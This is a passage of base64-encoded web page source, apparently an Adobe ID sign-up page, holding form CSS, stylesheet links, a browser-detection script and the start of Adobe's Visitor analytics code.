lZW4gYW5kIChtaW4tZGV2aWNlLXBpeGVsLXJhdGlvOjEuNSksIG9ubHkgc2NyZWVuIGFuZCAobWluLXJlc29sdXRpb246MTQ0ZHBpKXsjYWRvYmVzdXNpIGZpZWxkc2V0Lm5ldHdvcmsgLmljb25zIGRpdi5yZXZlbCwNCiAjYWRvYmVzdXNpIGRpdi5yb3cubmV0d29yayAuaWNvbnMgZGl2LnJldmVse2JhY2tncm91bmQtc2l6ZTozMDBweCA0MDBweDtiYWNrZ3JvdW5kLXBvc2l0aW9uOi0xODBweCAtMzMxcHg7fX1AbWVkaWEgb25seSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6NDgwcHgpeyNhZG9iZXN1c2kgZmllbGRzZXQubmV0d29yayAuaWNvbnMgZGl2LnJldmVsLA0KICNhZG9iZXN1c2kgZGl2LnJvdy5uZXR3b3JrIC5pY29ucyBkaXYucmV2ZWx7YmFja2dyb3VuZC1wb3NpdGlvbjotMTU2cHggLTM2OXB4O319I2Fkb2Jlc3VzaSBmaWVsZHNldC5uZXR3b3JrIC5pY29ucyBkaXYubWFya2V0aW5nX2Nsb3VkLA0KI2Fkb2Jlc3VzaSBkaXYucm93Lm5ldHdvcmsgLmljb25zIGRpdi5tYXJrZXRpbmdfY2xvdWR7YmFja2dyb3VuZC1zaXplOmF1dG8gYXV0bztiYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXQ7YmFja2dyb3VuZC1wb3NpdGlvbjotMjIzcHggLTMzMnB4O31AbWVkaWEgb25seSBzY3JlZW4gYW5kICgtd2Via2l0LW1pbi1kZXZpY2UtcGl4ZWwtcmF0aW86MS41KSwgb25seSBzY3JlZW4gYW5kIChtaW4tLW1vei1kZXZpY2UtcGl4ZWwtcmF0aW86MS41KSwgb25seSBzY3JlZW4gYW5kICgtby1taW4tZGV2aWNlLXBpeGVsLXJhdGlvOjMvMiksIG9ubHkgc2NyZWVuIGFuZCAobWluLWRldmljZS1waXhlbC1yYXRpbzoxLjUpLCBvbmx5IHNjcmVlbiBhbmQgKG1pbi1yZXNvbHV0aW9uOjE0NGRwaSl7I2Fkb2Jlc3VzaSBmaWVsZHNldC5uZXR3b3JrIC5pY29ucyBkaXYubWFya2V0aW5nX2Nsb3VkLA0KICNhZG9iZXN1c2kgZGl2LnJvdy5uZXR3b3JrIC5pY29ucyBkaXYubWFya2V0aW5nX2Nsb3Vke2JhY2tncm91bmQtc2l6ZTozMDBweCA0MDBweDtiYWNrZ3JvdW5kLXBvc2l0aW9uOi0yMjNweCAtMzMycHg7fX1AbWVkaWEgb25seSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6NDgwcHgpeyNhZG9iZXN1c2kgZmllbGRzZXQubmV0d29yayAuaWNvbnMgZGl2Lm1hcmtldGluZ19jbG91ZCwNCiAjYWRvYmVzdXNpIGRpdi5yb3cubmV0d29yayAuaWNvbnMgZGl2Lm1hcmtldGluZ19jbG91ZHtiYWNrZ3JvdW5kLXBvc2l0aW9uOi0xOTNweCAtMzY5cHg7fX0jYWRvYmVzdXNpIGZpZWxkc2V0Lm5ldHdvcmsgLmljb25zIGRpdi5hY3JvYmF0LA0KI2Fkb2Jlc3VzaSBkaXYucm93Lm5ldHdvcmsgLmljb25zIGRpdi5hY3JvYmF0e2JhY2tncm91bmQtc2l6ZTphdXRvIGF1dG87YmFja2dyb3VuZC1yZXBlYXQ6bm8tcmVwZWF0O2JhY2tncm91bmQtcG9zaXRpb246LTI2NXB4IC0zMjlweDt9QG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAoLXdlYmtpdC1taW4tZGV2aWNlLXBpeGVsLXJhdGlvOjEuNSksIG9ubHkgc2NyZWVuIGFuZCAobWluLS1tb3otZGV2aWNlLXBpeGVsLXJhdGlvOjEuNSksIG9ubHkgc2NyZWVuIGFuZCAoLW8tbWluLWRldmljZS1waXhlbC1yYXRpbzozLzIpLCBvbmx5IHNjcmVlbiBhbmQgKG1pbi1kZXZpY2UtcGl4ZWwtcmF0aW86MS41KSwgb25seSBzY3JlZW4gYW5kIChtaW4tcmVzb2x1dGlvbjoxNDRkcGkpeyNhZG9iZXN1c2kgZmllbGRzZXQubmV0d29yayAuaWNvbnMgZGl2LmFjcm9iYXQsDQogI2Fkb2Jlc3VzaSBkaXYucm93Lm5ldHdvcmsgLmljb25zIGRpdi5hY3JvYmF0e2JhY2tncm91bmQtc2l6ZTozMDBweCA0MDBweDtiYWNrZ3JvdW5kLXBvc2l0aW9uOi0yNjVweCAtMzI5cHg7fX1AbWVkaWEgb25seSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6NDgwcHgpeyNhZG9iZXN1c2kgZmllbGRzZXQubmV0d29yayAuaWNvbnMgZGl2LmFjcm9iYXQsDQogI2Fkb2Jlc3VzaSBkaXYucm93Lm5ldHdvcmsgLmljb25zIGRpdi5hY3JvYmF0e2JhY2tncm91bmQtcG9zaXRpb246LTIzMHB4IC0zNjlweDt9fSNhZG9iZXN1c2kgZmllbGRzZXQubmV0d29yayBociwNCiNhZG9iZXN1c2kgZGl2LnJvdy5uZXR3b3JrIGhye21hcmdpbjowcHggMHB4IDI2LjRweCAwcHg7bWFyZ2luOjByZW0gMHJlbSAxLjY1cmVtIDByZW07fSNhZG9iZXN1c2kgZmllbGRzZXQub25lbW9yZXRoaW5nLA0KI2Fkb2Jlc3VzaSBkaXYucm93Lm9uZW1vcmV0aGluZ3ttYXJnaW46MjZweCAwcHggMjZweCAwcHg7bWFyZ2luOjEuNjI1cmVtIDByZW0gMS42MjVyZW0gMHJlbTt9I2Fkb2Jlc3VzaSBmaWVsZHNldC5zZXBhcmF0b3IsDQojYWRvYmVzdXNpIGRpdi5yb3cuc2VwYXJhdG9ye2ZvbnQtc3R5bGU6aXRhbGljO2ZvbnQtc2l6ZToxNnB4O2ZvbnQtc2l6ZToxcmVtO2JvcmRlci10b3A6MXB4IHNvbGlkICNjY2NjY2M7bWFyZ2luOjI5LjZweCAwcHggNi40cHggMHB4O21hcmdpbjoxLjg1cmVtIDByZW0gMC40cmVtIDByZW07Y29sb3I6IzMzMzMzMzt9I2Fkb2Jlc3VzaSBmaWVsZHNldC5zZXBhcmF0b3Igc3BhbiwNCiNhZG9iZXN1c2kgZGl2LnJvdy5zZXBhcmF0b3Igc3BhbntiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7d2lkdGg6NDBweDt3aWR0aDoyLjVyZW07ZGlzcGxheTppbmxpbmUtYmxvY2s7cG9zaXRpb246cmVsYXRpdmU7dG9wOi0xMHB4O30jYWRvYmVzdXNpIGZpZWxkc2V0LnNwYWNlZCwNCiNhZG9iZXN1c2kgZGl2LnJvdy5zcGFjZWR7bWFyZ2luOjE2LjVweCAwcHggMTYuNXB4IDBweDttYXJnaW46MS4wMzEyNXJlbSAwcmVtIDEuMDMxMjVyZW0gMHJlbTt9I2Fkb2Jlc3VzaSBmaWVsZHNldC5zcGFjZWQgLnJvdywNCiNhZG9iZXN1c2kgZGl2LnJvdy5zcGFjZWQgLnJvdywNCiNhZG9iZXN1c2kgZmllbGRzZXQuc3BhY2VkIGZpZWxkc2V0LA0KI2Fkb2Jlc3VzaSBkaXYucm93LnNwYWNlZCBmaWVsZHNldHttYXJnaW46MHB4IDBweCAxNi41cHggMHB4O21hcmdpbjowcmVtIDByZW0gMS4wMzEyNXJlbSAwcmVtO30jYWRvYmVzdXNpIGZpZWxkc2V0LmVudGVycHJpc2UsDQojYWRvYmVzdXNpIGRpdi5yb3cuZW50ZXJwcmlzZSwNCiNhZG9iZXN1c2kgZmllbGRzZXQuZ2V0YWRvYmVpZCwNCiNhZG9iZXN1c2kgZGl2LnJvdy5nZXRhZG9iZWlke3BhZGRpbmc6MTYuNXB4IDBweCAwcHggMHB4O3BhZGRpbmc6MS4wMzEyNXJlbSAwcmVtIDByZW0gMHJlbTt9I2Fkb2Jlc3VzaSBmaWVsZHNldC5jb3VudHJ5LA0KI2Fkb2Jlc3VzaSBkaXYucm93LmNvdW50cnksDQojYWRvYmVzdXNpIGZpZWxkc2V0LmRhdGVvZmJpcnRoLA0KI2Fkb2Jlc3VzaSBkaXYucm93LmRhdGVvZmJpcnRoe3RleHQtYWxpZ246bGVmdDt9I2Fkb2Jlc3VzaSBmaWVsZHNldC5kYXRlb2ZiaXJ0aCAuZ3JpZF8yLA0KI2Fkb2Jlc3VzaSBkaXYucm93LmRhdGVvZmJpcnRoIC5ncmlkXzIsDQojYWRvYmVzdXNpIGZpZWxkc2V0Lm5hbWVzIC5ncmlkXzIsDQojYWRvYmVzdXNpIGRpdi5yb3cubmFtZXMgLmdyaWRfMnt3aWR0aDo1MCUhaW1wb3J0YW50O3BhZGRpbmc6MHB4IDguOHB4IDBweCAwcHg7cGFkZGluZzowcmVtIDAuNTVyZW0gMHJlbSAwcmVtO30jYWRvYmVzdXNpIGZpZWxkc2V0LmRhdGVvZmJpcnRoIC5ncmlkXzEsDQojYWRvYmVzdXNpIGRpdi5yb3cuZGF0ZW9mYmlydGggLmdyaWRfMXt3aWR0aDoyNSUhaW1wb3J0YW50O3BhZGRpbmc6MHB4IDguOHB4IDBweCAwcHg7cGFkZGluZzowcmVtIDAuNTVyZW0gMHJlbSAwcmVtO30jYWRvYmVzdXNpIGZpZWxkc2V0LmRhdGVvZmJpcnRoIC5ncmlkXzI6bGFzdC1vZi10eXBlLA0KI2Fkb2Jlc3VzaSBkaXYucm93LmRhdGVvZmJpcnRoIC5ncmlkXzI6bGFzdC1vZi10eXBlLA0KI2Fkb2Jlc3VzaSBmaWVsZHNldC5kYXRlb2ZiaXJ0aCAuZ3JpZF8xOmxhc3Qtb2YtdHlwZSwNCiNhZG9iZXN1c2kgZGl2LnJvdy5kYXRlb2ZiaXJ0aCAuZ3JpZF8xOmxhc3Qtb2YtdHlwZSwNCiNhZG9iZXN1c2kgZmllbGRzZXQubmFtZXMgLmdyaWRfMjpsYXN0LW9mLXR5cGUsDQojYWRvYmVzdXNpIGRpdi5yb3cubmFtZXMgLmdyaWRfMjpsYXN0LW9mLXR5cGV7cGFkZGluZzowcHggMHB4IDBweCAwcHg7cGFkZGluZzowcmVtIDByZW0gMHJlbSAwcmVtO31AbWVkaWEgb25seSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6NDgwcHgpeyNhZG9iZXN1c2kgZmllbGRzZXQuZGF0ZW9mYmlydGggLmdyaWRfMSwNCiAjYWRvYmVzdXNpIGRpdi5yb3cuZGF0ZW9mYmlydGggLmdyaWRfMXt3aWR0aDoyNSUhaW1wb3J0YW50O3BhZGRpbmc6MHB4IDguOHB4IDBweCAwcHg7cGFkZGluZzowcmVtIDAuNTVyZW0gMHJlbSAwcmVtO30jYWRvYmVzdXNpIGZpZWxkc2V0LmRhdGVvZmJpcnRoIC5ncmlkXzIsDQogI2Fkb2Jlc3VzaSBkaXYucm93LmRhdGVvZmJpcnRoIC5ncmlkXzIsDQogI2Fkb2Jlc3VzaSBmaWVsZHNldC5uYW1lcyAuZ3JpZF8yLA0KICNhZG9iZXN1c2kgZGl2LnJvdy5uYW1lcyAuZ3JpZF8ye3dpZHRoOjUwJSFpbXBvcnRhbnQ7cGFkZGluZzowcHggOC44cHggMHB4IDBweDtwYWRkaW5nOjByZW0gMC41NXJlbSAwcmVtIDByZW07fSNhZG9iZXN1c2kgZmllbGRzZXQuZGF0ZW9mYmlydGggLmdyaWRfMjpsYXN0LW9mLXR5cGUsDQogI2Fkb2Jlc3VzaSBkaXYucm93LmRhdGVvZmJpcnRoIC5ncmlkXzI6bGFzdC1vZi10eXBlLA0KICNhZG9iZXN1c2kgZmllbGRzZXQuZGF0ZW9mYmlydGggLmdyaWRfMTpsYXN0LW9mLXR5cGUsDQogI2Fkb2Jlc3VzaSBkaXYucm93LmRhdGVvZmJpcnRoIC5ncmlkXzE6bGFzdC1vZi10eXBlLA0KICNhZG9iZXN1c2kgZmllbGRzZXQubmFtZXMgLmdyaWRfMjpsYXN0LW9mLXR5cGUsDQogI2Fkb2Jlc3VzaSBkaXYucm93Lm5hbWVzIC5ncmlkXzI6bGFzdC1vZi10eXBle3BhZGRpbmc6MHB4IDBweCAwcHggMHB4O3BhZGRpbmc6MHJlbSAwcmVtIDByZW0gMHJlbTt9fSNhZG9iZXN1c2kgZmllbGRzZXQuc29jaWFsLA0KI2Fkb2Jlc3VzaSBkaXYucm93LnNvY2lhbHtmb250LXNpemU6MTZweDtmb250LXNpemU6MXJlbTtjb2xvcjojMzMzMzMzO3BhZGRpbmc6MHB4IDBweCAxMXB4IDBweDtwYWRkaW5nOjByZW0gMHJlbSAwLjY4NzVyZW0gMHJlbTt9I2Fkb2Jlc3VzaSBmaWVsZHNldC5zb2NpYWwgLmJ1dHRvbiwNCiNhZG9iZXN1c2kgZGl2LnJvdy5zb2NpYWwgLmJ1dHRvbnstd2Via2l0LWJvcmRlci1yYWRpdXM6NC44cHg7LW1vei1ib3JkZXItcmFkaXVzOjQuOHB4O2JvcmRlci1yYWRpdXM6NC44cHg7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjAuM3JlbTstbW96LWJvcmRlci1yYWRpdXM6MC4zcmVtO2JvcmRlci1yYWRpdXM6MC4zcmVtO2Rpc3BsYXk6aW5saW5lLWJsb2NrO3dpZHRoOjMwcHg7aGVpZ2h0OjMwcHg7bWFyZ2luOjBweCAwcHggMHB4IDE2cHg7bWFyZ2luOjByZW0gMHJlbSAwcmVtIDFyZW07fSNhZG9iZXN1c2kgZmllbGRzZXQuc29jaWFsIC5idXR0b246Zmlyc3QtY2hpbGQsDQojYWRvYmVzdXNpIGRpdi5yb3cuc29jaWFsIC5idXR0b246Zmlyc3QtY2hpbGR7bWFyZ2luOjBweCAwcHggMHB4IDBweDttYXJnaW46MHJlbSAwcmVtIDByZW0gMHJlbTt9I2Fkb2Jlc3VzaSBmaWVsZHNldC5zdGF5aW5mb3JtZWQsDQojYWRvYmVzdXNpIGRpdi5yb3cuc3RheWluZm9ybWVkLA0KI2Fkb2Jlc3VzaSBmaWVsZHNldC50b3MsDQojYWRvYmVzdXNpIGRpdi5yb3cudG9ze3RleHQtYWxpZ246bGVmdDttYXJnaW4tdG9wOjEuMDMxMjU7bWFyZ2luLWJvdHRvbToxLjAzMTI1O30jYWRvYmVzdXNpIGZpZWxkc2V0LnNpZ25pbl9vcHRpb25zLA0KI2Fkb2Jlc3VzaSBkaXYucm93LnNpZ25pbl9vcHRpb25ze21hcmdpbjowcHggMHB4IDBweCAwcHggIWltcG9ydGFudDttYXJnaW46MHJlbSAwcmVtIDByZW0gMHJlbSAhaW1wb3J0YW50O30jYWRvYmVzdXNpIGZpZWxkc2V0LnNpZ25pbl9vcHRpb25zIC5ncmlkXzIsDQojYWRvYmVzdXNpIGRpdi5yb3cuc2lnbmluX29wdGlvbnMgLmdyaWRfMnt3aWR0aDo1MCU7dGV4dC1hbGlnbjpsZWZ0O30jYWRvYmVzdXNpIGZpZWxkc2V0LnNpZ25pbl9vcHRpb25zIC5ncmlkXzI6bGFzdC1jaGlsZCwNCiNhZG9iZXN1c2kgZGl2LnJvdy5zaWduaW5fb3B0aW9ucyAuZ3JpZF8yOmxhc3QtY2hpbGR7dGV4dC1hbGlnbjpyaWdodDt9I2Fkb2Jlc3VzaSBmaWVsZHNldC5zaWduaW5fb3B0aW9ucyAuaWNvbiwNCiNhZG9iZXN1c2kgZGl2LnJvdy5zaWduaW5fb3B0aW9ucyAuaWNvbntwb3NpdGlvbjphYnNvbHV0ZTt9I2Fkb2Jlc3VzaSBmaWVsZHNldCAjY2hlY2tib3hfZXhwbGFpbmVyLA0KI2Fkb2Jlc3VzaSBkaXYucm93ICNjaGVja2JveF9leHBsYWluZXJ7dGV4dC1hbGlnbjpsZWZ0O2ZvbnQtc3R5bGU6aXRhbGljO3BhZGRpbmc6M3B4IDBweCAwcHggMHB4ICFpbXBvcnRhbnQ7cGFkZGluZzowLjE4NzVyZW0gMHJlbSAwcmVtIDByZW0gIWltcG9ydGFudDtkaXNwbGF5OmJsb2NrO2NvbG9yOiMwMDA7fSNhZG9iZXN1c2kgZmllbGRzZXQgI2NoZWNrYm94X2V4cGxhaW5lci5ub25pbnRydXNpdmUsDQojYWRvYmVzdXNpIGRpdi5yb3cgI2NoZWNrYm94X2V4cGxhaW5lci5ub25pbnRydXNpdmV7cGFkZGluZzowcHggMHB4IDBweCAyMHB4ICFpbXBvcnRhbnQ7cGFkZGluZzowcmVtIDByZW0gMHJlbSAxLjI1cmVtICFpbXBvcnRhbnQ7cGFkZGluZy1sZWZ0OjIwcHg7dGV4dC10cmFuc2Zvcm06bG93ZXJjYXNlO2ZvbnQtc2l6ZToxMnB4O3BhZGRpbmctdG9wOjJweDtjb2xvcjppbmhlcml0O30jYWRvYmVzdXNpIGZpZWxkc2V0IC5oaW50LA0KI2Fkb2Jlc3VzaSBkaXYucm93IC5oaW50e2NvbG9yOiMzMzMzMzM7cG9zaXRpb246YWJzb2x1dGU7cmlnaHQ6LTIwcHg7Zm9udC1zaXplOjE2cHg7Zm9udC1zaXplOjFyZW07bGluZS1oZWlnaHQ6NDBweDtsaW5lLWhlaWdodDoyLjVyZW07dmVydGljYWwtYWxpZ246bWlkZGxlO2N1cnNvcjpwb2ludGVyO30jYWRvYmVzdXNpIGZpZWxkc2V0IC50b3UsDQojYWRvYmVzdXNpIGRpdi5yb3cgLnRvdXt3aWR0aDoxMDAlO3RleHQtYWxpZ246bGVmdDtwYWRkaW5nOjE2cHggMTZweCAxNnB4IDE2cHg7cGFkZGluZzoxcmVtIDFyZW0gMXJlbSAxcmVtO2xpbmUtaGVpZ2h0OjI0cHg7bGluZS1oZWlnaHQ6MS41cmVtO2hlaWdodDoyNzUuMnB4O2hlaWdodDoxNy4ycmVtO292ZXJmbG93LXk6c2Nyb2xsOy1tcy1vdmVyZmxvdy1zdHlsZTotbXMtYXV0b2hpZGluZy1zY3JvbGxiYXI7Ym9yZGVyOjFweCBzb2xpZCAjZTFlMWUxO30jYWRvYmVzdXNpIGxhYmVsLm5vdGlmaWNhdGlvbntkaXNwbGF5OmJsb2NrO3BhZGRpbmc6MC4zNDM3NTttYXJnaW4tYm90dG9tOjAuNjg3NTttYXJnaW4tdG9wOjAuNjg3NTt0ZXh0LWFsaWduOmNlbnRlcjt3aWR0aDoxMDAlO2NvbG9yOiNmZmY7fSNhZG9iZXN1c2kgbGFiZWwubm90aWZpY2F0aW9uLnN1Y2Nlc3N7Y29sb3I6Z3JlZW47fSNhZG9iZXN1c2kgbGFiZWwubm90aWZpY2F0aW9uLndhcm5pbmd7Y29sb3I6b3JhbmdlO30jYWRvYmVzdXNpIGxhYmVsLm5vdGlmaWNhdGlvbi5lcnJvcntjb2xvcjojZmYwMDAwO30jYWRvYmVzdXNpIC5jb21wb25lbnQtd3JhcHBlcntwb3NpdGlvbjpyZWxhdGl2ZTtkaXNwbGF5OmlubGluZS1ibG9jazt3aWR0aDoxMDAlO3RleHQtYWxpZ246cmlnaHQ7fSNhZG9iZXN1c2kgLmNvbXBvbmVudC13cmFwcGVyICsgLmNvbXBvbmVudC13cmFwcGVye21hcmdpbjoxMXB4IDBweCAwcHggMHB4O21hcmdpbjowLjY4NzVyZW0gMHJlbSAwcmVtIDByZW07fTwvc3R5bGU+DQogICAgICAgICAgICAgICAgICAgIDwhLS1baWYgSUVdPg0KICAgICAgICA8bGluayBocmVmPSJodHRwczovL2Fkb2JlaWQtbmExLnNlcnZpY2VzLmFkb2JlLmNvbS9yZW5nYS1pZHByb3ZpZGVyL3Jlc291cmNlcy93ZWJfdjIvY3NzL2llLmNzcyIgbWVkaWE9InNjcmVlbiIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+DQogICAgICAgIDwhW2VuZGlmXS0tPg0KICAgICAgICA8IS0tW2lmIElFIDhdPg0KICAgICAgICA8bGluayBocmVmPSJodHRwczovL2Fkb2JlaWQtbmExLnNlcnZpY2VzLmFkb2JlLmNvbS9yZW5nYS1pZHByb3ZpZGVyL3Jlc291cmNlcy93ZWJfdjIvY3NzL2llOC5jc3MiIG1lZGlhPSJzY3JlZW4iIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPg0KICAgICAgICA8IVtlbmRpZl0tLT4NCiAgICAgICAgPCEtLVtpZiBsdCBJRSA4XT4NCiAgICAgICAgPGxpbmsgaHJlZj0iaHR0cHM6Ly9hZG9iZWlkLW5hMS5zZXJ2aWNlcy5hZG9iZS5jb20vcmVuZ2EtaWRwcm92aWRlci9yZXNvdXJjZXMvd2ViX3YyL2Nzcy9sdGllOC5jc3MiIG1lZGlhPSJzY3JlZW4iIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPg0KICAgICAgICA8IVtlbmRpZl0tLT4NCg0KICAgICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwczovL3VzZS50eXBla2l0Lm5ldC9hdGg1ZGpzLmpzIj48L3NjcmlwdD4NCg0KICAgICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+dmFyIHNwZWNpYWxfZGF5X2NoYXIgPSAiIjs8L3NjcmlwdD4NCg0KDQogICAgICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKg0KDQoNCiBDU1MgQnJvd3NlciBTZWxlY3RvciBqcyB2MC41LjMgKEp1bHkgMiwgMjAxMykNCg0KIC0tIG9yaWdpbmFsIC0tDQogUmFmYWVsIExpbWEgKGh0dHA6Ly9yYWZhZWwuYWRtLmJyKQ0KIGh0dHA6Ly9yYWZhZWwuYWRtLmJyL2Nzc19icm93c2VyX3NlbGVjdG9yDQogTGljZW5zZTogaHR0cDovL2NyZWF0aXZlY29tbW9ucy5vcmcvbGljZW5zZXMvYnkvMi41Lw0KIENvbnRyaWJ1dG9yczogaHR0cDovL3JhZmFlbC5hZG0uYnIvY3NzX2Jyb3dzZXJfc2VsZWN0b3IjY29udHJpYnV0b3JzDQogLS0gL29yaWdpbmFsIC0tDQoNCiBGb3JrIHByb2plY3Q6IGh0dHA6Ly9jb2RlLmdvb2dsZS5jb20vcC9jc3MtYnJvd3Nlci1zZWxlY3Rvci8NCiBTb25nIEh5by1KaW4gKHNoaiBhdCB4ZW5vc2kuZGUpDQoNCg0KIEFkb2JlIFZpc2l0b3IgQVBJIGZvciBKYXZhU2NyaXB0IHZlcnNpb246IDEuMQ0KIENvcHlyaWdodCAxOTk2LTIwMTMgQWRvYmUsIEluYy4gQWxsIFJpZ2h0cyBSZXNlcnZlZA0KIE1vcmUgaW5mbyBhdmFpbGFibGUgYXQgaHR0cDovL3d3dy5vbW5pdHVyZS5jb20NCg0KDQogQXBwTWVhc3VyZW1lbnQgZm9yIEphdmFTY3JpcHQgdmVyc2lvbjogMS4yLjMNCiBDb3B5cmlnaHQgMTk5Ni0yMDEzIEFkb2JlLCBJbmMuIEFsbCBSaWdodHMgUmVzZXJ2ZWQNCiBNb3JlIGluZm8gYXZhaWxhYmxlIGF0IGh0dHA6Ly93d3cub21uaXR1cmUuY29tDQoqLw0KdHJ5e1R5cGVraXQubG9hZCgpfWNhdGNoKGUpe30NCmZ1bmN0aW9uIGNzc19icm93c2VyX3NlbGVjdG9yKGEpe3ZhciBjPWEudG9Mb3dlckNhc2UoKSxnPWZ1bmN0aW9uKGEpe3JldHVybi0xPGMuaW5kZXhPZihhKX07YT0wO3ZhciBwPXdpbmRvdy5kZXZpY2VQaXhlbFJhdGlvPyh3aW5kb3cuZGV2aWNlUGl4ZWxSYXRpbysiIikucmVwbGFjZSgiLiIsIl8iKToiMSIsZz1bIS9vcGVyYXx3ZWJ0di8udGVzdChjKSYmL21zaWVccyhcZCspLy50ZXN0KGMpJiYoYT0xKlJlZ0V4cC4kMSk/ImllIGllIithKyg2PT1hfHw3PT1hPyIgaWU2NyBpZTY3OCBpZTY3ODkiOjg9PWE/IiBpZTY3OCBpZTY3ODkiOjk9PWE/IiBpZTY3ODkgaWU5bSI6OTxhPyIgaWU5bSI6IiIpOi90cmlkZW50XC9cZCsuKj87XHMqcnY6KFxkKylcLihcZCspXCkvLnRlc3QoYykmJihhPVtSZWdFeHAuJDEsUmVnRXhwLiQyXSk/ImllIGllIithWzBdKyIgaWUiK2FbMF0rIl8iK2FbMV0rIiBpZTltIjovZmlyZWZveFwvKFxkKylcLihcZCspLy50ZXN0KGMpJiYocmU9UmVnRXhwKT8NCiJnZWNrbyBmZiBmZiIrcmUuJDErIiBmZiIrcmUuJDErIl8iK3JlLiQyOmcoImdlY2tvLyIpPyJnZWNrbyI6Zygib3BlcmEiKT8ib3BlcmEiKygvdmVyc2lvblwvKFxkKykvLnRlc3QoYyk/IiBvcGVyYSIrUmVnRXhwLiQxOi9vcGVyYShcc3xcLykoXGQrKS8udGVzdChjKT8iIG9wZXJhIitSZWdFeHAuJDI6IiIpOmcoImtvbnF1ZXJvciIpPyJrb25xdWVyb3IiOmcoImJsYWNrYmVycnkiKT8ibW9iaWxlIGJsYWNrYmVycnkiOmcoImNocm9tZSIpfHxnKCJjcmlvcyIpPyJ3ZWJraXQgY2hyb21lIjpnKCJpcm9uIik/IndlYmtpdCBpcm9uIjohZygiY3B1IG9zIikmJmcoImFwcGxld2Via2l0LyIpPyJ3ZWJraXQgc2FmYXJpIjpnKCJtb3ppbGxhLyIpPyJnZWNrbyI6IiIsZygiYW5kcm9pZCIpPyJtb2JpbGUgYW5kcm9pZCI6IiIsZygidGFibGV0Iik/InRhYmxldCI6IiIsZygiajJtZSIpPyJtb2JpbGUgajJtZSI6ZygiaXBhZDsgdTsgY3B1IG9zIik/Im1vYmlsZSBjaHJvbWUgYW5kcm9pZCB0YWJsZXQiOg0KZygiaXBhZDt1O2NwdSBvcyIpPyJtb2JpbGUgY2hyb21lZGVmIGFuZHJvaWQgdGFibGV0IjpnKCJpcGhvbmUiKT8ibW9iaWxlIGlvcyBpcGhvbmUiOmcoImlwb2QiKT8ibW9iaWxlIGlvcyBpcG9kIjpnKCJpcGFkIik/Im1vYmlsZSBpb3MgaXBhZCB0YWJsZXQiOmcoIm1hYyIpPyJtYWMiOmcoImRhcndpbiIpPyJtYWMiOmcoIndlYnR2Iik/IndlYnR2IjpnKCJ3aW4iKT8id2luIisoZygid2luZG93cyBudCA2LjAiKT8iIHZpc3RhIjoiIik6ZygiZnJlZWJzZCIpPyJmcmVlYnNkIjpnKCJ4MTEiKXx8ZygibGludXgiKT8ibGludXgiOiIiLCIxIiE9cD8iIHJldGluYSByYXRpbyIrcDoiIiwianMgcG9ydHJhaXQiXS5qb2luKCIgIik7d2luZG93LmpRdWVyeSYmIXdpbmRvdy5qUXVlcnkuYnJvd3NlciYmKHdpbmRvdy5qUXVlcnkuYnJvd3Nlcj1hP3ttc2llOjEsdmVyc2lvbjphfTp7fSk7cmV0dXJuIGd9DQooZnVuY3Rpb24oYSxjKXt2YXIgZz1jc3NfYnJvd3Nlcl9zZWxlY3RvcihuYXZpZ2F0b3IudXNlckFnZW50KSxwPWEuZG9jdW1lbnRFbGVtZW50O3AuY2xhc3NOYW1lKz0iICIrZztnPWcucmVwbGFjZSgvXlxzKnxccyokL2csIiIpLnNwbGl0KC8gKy8pO2MuQ1NTQlM9MTtmb3IodmFyIG09MDttPGcubGVuZ3RoO20rKyljWyJDU1NCU18iK2dbbV1dPTE7Yy5qUXVlcnkmJmZ1bmN0aW9uKGcpe2Z1bmN0aW9uIG0oKXtpZigwPT16KXt0cnl7dmFyIGY9YS5kb2N1bWVudEVsZW1lbnQuY2xpZW50V2lkdGh8fGEuYm9keS5jbGllbnRXaWR0aDtmPihhLmRvY3VtZW50RWxlbWVudC5jbGllbnRIZWlnaHR8fGEuYm9keS5jbGllbnRIZWlnaHQpP3UucmVtb3ZlQ2xhc3MoZCkuYWRkQ2xhc3MoYik6dS5yZW1vdmVDbGFzcyhiKS5hZGRDbGFzcyhkKTtpZihmPT14KXJldHVybjt4PWZ9Y2F0Y2goYyl7fXo9c2V0VGltZW91dCh3LDEwMCl9fWZ1bmN0aW9uIHcoKXt0cnl7dS5yZW1vdmVDbGFzcyhxKSwNCnUuYWRkQ2xhc3MoMzYwPj14P2Y6NjQwPj14P3M6NzY4Pj14P2s6MTAyND49eD9uOiJwYyIpfWNhdGNoKGEpe316PTB9dmFyIGQ9InBvcnRyYWl0IixiPSJsYW5kc2NhcGUiLGY9InNtYXJ0bmFycm93IixzPSJzbWFydHdpZGUiLGs9InRhYmxldG5hcnJvdyIsbj0idGFibGV0d2lkZSIscT1mKyIgIitzKyIgIitrKyIgIituKyIgcGMiLHU9ZyhwKSx6PTAseD0wO2MuQ1NTQlNfaWU/c2V0SW50ZXJ2YWwobSwxRTMpOmcoYykub24oInJlc2l6ZSBvcmllbnRhdGlvbmNoYW5nZSIsbSkudHJpZ2dlcigicmVzaXplIil9KGMualF1ZXJ5KX0pKGRvY3VtZW50LHdpbmRvdyk7DQpmdW5jdGlvbiBWaXNpdG9yKGEpe3ZhciBjPXRoaXM7Yy52ZXJzaW9uPSIxLjEiO3ZhciBnPXdpbmRvdztnLnNfY19pbnx8KGcuc19jX2lsPVtdLGcuc19jX2luPTApO2MuX2M9IlZpc2l0b3IiO2MuX2lsPWcuc19jX2lsO2MuX2luPWcuc19jX2luO2MuX2lsW2MuX2luXT1jO2cuc19jX2luKys7dmFyIHA9Zy5kb2N1bWVudCxtPWcuejttfHwobT1udWxsKTt2YXIgcj1nLkE7cnx8KHI9ITApO3ZhciB0PWcudzt0fHwodD0hMSk7Yy5zPWZ1bmN0aW9uKCl7dmFyIGE7IWEmJ